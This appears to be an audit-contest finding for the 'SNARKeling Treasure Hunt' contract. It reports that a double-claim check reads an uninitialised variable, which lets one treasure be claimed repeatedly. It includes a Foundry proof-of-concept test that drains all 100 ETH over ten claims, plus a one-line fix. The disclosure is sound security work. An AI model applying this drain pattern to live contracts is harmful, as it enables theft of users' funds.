SNARKeling Treasure Hunt

First Flight #59
Beginner FriendlyGameFiFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

Same treasure can be claimed unlimited times - funds at direct risk of 100% drainage

Author Revealed upon completion

Root + Impact

Description

The claim() function checks claimed[_treasureHash] to prevent
double-claims, but _treasureHash is an immutable field that is
never initialized in the constructor, so it permanently defaults
to bytes32(0).

Meanwhile, when a treasure IS claimed, it marks claimed[treasureHash]
(the function parameter). These are two different mapping keys — the
check always reads claimed[0x0] which is always false, so the
protection never triggers.

// Line 88 - checks the WRONG variable (always false):
if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash);
// Line 104 - marks the CORRECT variable (never read by check):
_markClaimed(treasureHash);

Risk

Likelihood:

  • Any caller with a valid ZK proof can call claim() repeatedly

  • No special access or conditions needed — exploitable immediately
    on deployment

Impact:

  • Same treasure can be claimed unlimited times with different
    recipient addresses

  • Each claim pays 10 ETH from the contract

  • All 100 ETH can be fully drained in a single transaction sequence

Proof of Concept

function testExploit_FundDrain_SameTreasure10Times() public {
uint256 initialBalance = address(hunt).balance;
assertEq(initialBalance, 100 ether);
address[] memory attackers = new address[](10);
for (uint i = 0; i < 10; i++) {
attackers[i] = address(uint160(0x1000 + i));
vm.deal(attackers[i], 1 ether);
}
for (uint i = 0; i < 10; i++) {
vm.prank(attackers[i]);
hunt.claim(proof, treasureHash, payable(attackers[i]));
assertEq(attackers[i].balance, 1 ether + hunt.REWARD());
}
assertEq(address(hunt).balance, 0);
assertEq(hunt.getClaimsCount(), 10);
}

Recommended Mitigation

- if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash);
+ if (claimed[treasureHash]) revert AlreadyClaimed(treasureHash);

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!